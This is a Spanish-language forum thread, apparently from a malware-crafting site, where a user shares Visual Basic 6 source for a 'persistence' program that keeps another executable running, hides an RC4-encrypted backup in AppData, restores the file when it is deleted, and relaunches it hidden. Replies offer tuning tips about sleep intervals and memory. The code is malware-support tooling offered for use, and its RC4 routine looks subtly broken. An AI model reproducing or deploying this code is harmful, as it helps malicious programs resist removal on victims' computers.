He hecho una pequeña persistencia.

¿Cómo se usa?
persistencia.exe aplicacion.exe/*/c:/ruta/al/archivo.exe

¿Qué hace?
1) Comprueba si es la única instancia de persistencia de un archivo (poniendo de mutex la ruta a la aplicación). Esto quiere decir que se puede ejecutar la persistencia de varias aplicaciones siempre y cuando no tengan la misma ruta.
2) Inicia bucle infinito
3) Crea una copia cifrada en AppData (con RC4 cuya contraseña de cifrado es el nombre del .exe)
4) Si el archivo original ha sido borrado, se reestablece gracias a la copia de seguridad.
5) Comprueba (a través de WMI) si el archivo pasado como parámetro está siendo ejecutado, si no lo está lo inicia.

Código: Seleccionar todo

'Code: Persistance
'Author: Blau
'To: indetectables.net
'Thanks to: Pink & Scorpio

Option Explicit
Private Const ERROR_ALREADY_EXISTS  As Long = 183&

Private Declare Function CreateSemaphoreW Lib "kernel32.dll" (ByVal lpSemaphoreAttributes As Long, ByVal lInitialCount As Long, ByVal lMaximumCount As Long, ByVal lpName As Long) As Long
Private Declare Sub Sleep Lib "kernel32.dll" (ByVal dwMilliseconds As Long)
Sub Main()
On Error Resume Next
    Dim args() As String
    args = Split(Command$, "/*/")
    
    If bWasIOpened(args(1)) Then
        End
    End If
    
    While (True)
        If Not CheckFileExist(Environ$("APPDATA") & "\" & args(0)) Then
            WriteFile Environ$("APPDATA") & "\" & args(0), RC4(GetFile(args(1)), args(0))
        End If
        If Not CheckFileExist(args(1)) Then
            WriteFile args(1), RC4(GetFile(Environ$("APPDATA") & "\" & args(0)), args(0))
        End If
        If Not CheckProcess("Name", args(0)) Then
            Shell Chr(34) & args(1) & Chr(34), vbHide
        End If
        Sleep 3000
    Wend
End Sub

Private Function CheckProcess(check As String, Process As String)
    Dim objWMIService, colProcesses
    Set objWMIService = GetObject("winmgmts:")
    Set colProcesses = objWMIService.ExecQuery("Select * from Win32_Process where " & check & " ='" & Process & "'")
    If colProcesses.Count Then
        CheckProcess = True
    Else
        CheckProcess = False
    End If
End Function

Private Function bWasIOpened(ByVal lpName As String) As Boolean
   bWasIOpened = (CreateSemaphoreW(0&, 0&, 1&, StrPtr(lpName)) > 0) And (Err.LastDllError = ERROR_ALREADY_EXISTS)
End Function

Public Function CheckFileExist(path As String) As Boolean
    On Error GoTo ErrorHandler
        CheckFileExist = (GetAttr(path) And vbDirectory) = 0
ErrorHandler:
    Resume Next
End Function

Public Function RC4(ByVal data As String, ByVal Password As String) As String
    On Error Resume Next
    Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte, Temp As Variant
    Key() = StrConv(Password, vbFromUnicode)
    For X = 0 To 255
        Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
        F(X) = X
    Next X
    Key() = StrConv(data, vbFromUnicode)
    For X = 0 To Len(data)
        Y = (Y + F(Y) + 1) Mod 256
        Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
    Next X
    RC4 = StrConv(Key, vbUnicode)
End Function

Private Function GetFile(path As String) As String
    Dim file As String
    Open path For Binary As #1
        file = Space(LOF(1))
        Get #1, , file
    Close #1
    GetFile = file
End Function

Private Function WriteFile(path As String, cont As String)
    Dim FF#
    FF# = FreeFile
    Open path For Binary Access Write As #FF
        Put #FF, , cont
    Close #FF
End Function
Acepto críticas y sugerencias.
Gracias por el codigo. podrias poner un sleep o doevents para que no consuma mucha memoria.

saludos
Imagen
Pink escribió:Gracias por el codigo. podrias poner un sleep o doevents para que no consuma mucha memoria.

saludos
¿Esto podría consumir mucha memoria? Pensaba que al ser algo tan simple consumiría muy poco, por ello le quité el sleep (antes tenía un sleep random de entre 1000 y 5000 ms).
Blau escribió:
Pink escribió:Gracias por el codigo. podrias poner un sleep o doevents para que no consuma mucha memoria.

saludos
¿Esto podría consumir mucha memoria? Pensaba que al ser algo tan simple consumiría muy poco, por ello le quité el sleep (antes tenía un sleep random de entre 1000 y 5000 ms).
Que no sea Random y consumira menos memoria, y tampoco hace falta que declares todo, es mas gasto de memoria.

//Regards.
Ikarus: Backdoor.VBS.SafeLoader
Agnitum: Trojan.VBS.Safebot.A
http://indeseables.github.io/
No hagas caso a scorpio. Declara todo lo que vallas a usar. y el ramdom no consume nada.

yo me refería a si el loop de comprobación es permanente. entonces ese bucle seria muy seguido y rápido y tiende a consumir.

saludos
Imagen
Pero la comprobación en el bucle es necesario, si se hiciera antes del bucle principal entonces al ser eliminado el archivo no se reestablecería.
Exacto. osea si el loop siempre esta activo pones un sleep mayor de 30 milisegundos estaría bien.

saludos
Imagen
Ah vale, muchas gracias por el consejo. No modificaré el código y que cada uno ponga el sleep como le parezca.
No entiendo VB asi que no sé decirte como esta el código, pero por lo que comentais sobre el coste de memoria lo que si puedo decir es que tanto el sleep como el random afectan tanto a coste en memoria como a tiempo de ejecución(obvio).

Código: Seleccionar todo

>>> sys.getsizeof(time.sleep(0))
16
>>> sys.getsizeof(randint(1,5))
24
Por lo que en una iteracion se supone que deberia sumarsele ese coste tambien.
Dejar claro que no estoy muy puesto en este tema, siempre me ha preocupado más el coste de ejecución que el que podria estar causando en memoria, pero si se contempla de forma lógica creo que estaria en lo correcto..., repito, no estoy puesto... y en el tema tampoco

PD:Scorpio confundes el coste en tiempo de ejecución con el coste en memoria, ya que la declaracion de una variable tan solo consume lo que consume su contenido, por ejemplo una variable que contenga un string consumira lo mismo que trabajar con este directamente, la diferencia seria cuando usas "print"(o como sean los outputs en VB), ya que la salida de datos tambien tiene un coste de memoria extra.
De hecho la definicion de variables ayudaria a reducir costes, al menos en lenguajes con orientacion a objetos o procedurales, en el caso del intérprete de python este trae una serie de objetos ya creados para agilizar este tipo de procesos, las variables no se tomarian como espacios reservados en memoria para almacenar objetos sino que serian la unión de un nombre y un valor a través de un enlace
La verdad es que esta persistencia la hice como complemento a una herramienta que está enfocada a PCs de gama media/alta, así que el coste de memoria no sería algo grave. En cuanto al tiempo de ejecución, tampoco es algo importante mientras haga su trabajo, tanto en su tiempo justo como en un retraso de 1 hora.
Muy bueno Blau, se agradece
Scorpio escribió:
Blau escribió:
Pink escribió:Gracias por el codigo. podrias poner un sleep o doevents para que no consuma mucha memoria.

saludos
¿Esto podría consumir mucha memoria? Pensaba que al ser algo tan simple consumiría muy poco, por ello le quité el sleep (antes tenía un sleep random de entre 1000 y 5000 ms).
Que no sea Random y consumira menos memoria, y tampoco hace falta que declares todo, es mas gasto de memoria.

//Regards.
Explícate, porque eso me ha matado.

//Edit: veo que ya te lo han explicado.
UDTools.net
GitHub: https://github.com/MetalUDT
Metal_Kingdom escribió:Muy bueno Blau, se agradece
Scorpio escribió:
Blau escribió:
Pink escribió:Gracias por el codigo. podrias poner un sleep o doevents para que no consuma mucha memoria.

saludos
¿Esto podría consumir mucha memoria? Pensaba que al ser algo tan simple consumiría muy poco, por ello le quité el sleep (antes tenía un sleep random de entre 1000 y 5000 ms).
Que no sea Random y consumira menos memoria, y tampoco hace falta que declares todo, es mas gasto de memoria.

//Regards.
Explícate, porque eso me ha matado.

//Edit: veo que ya te lo han explicado.

Es que es de esos programadores que usan una sola variable para manejar todos los tipos de datos XD

dim todo;
Responder

Volver a “Fuentes”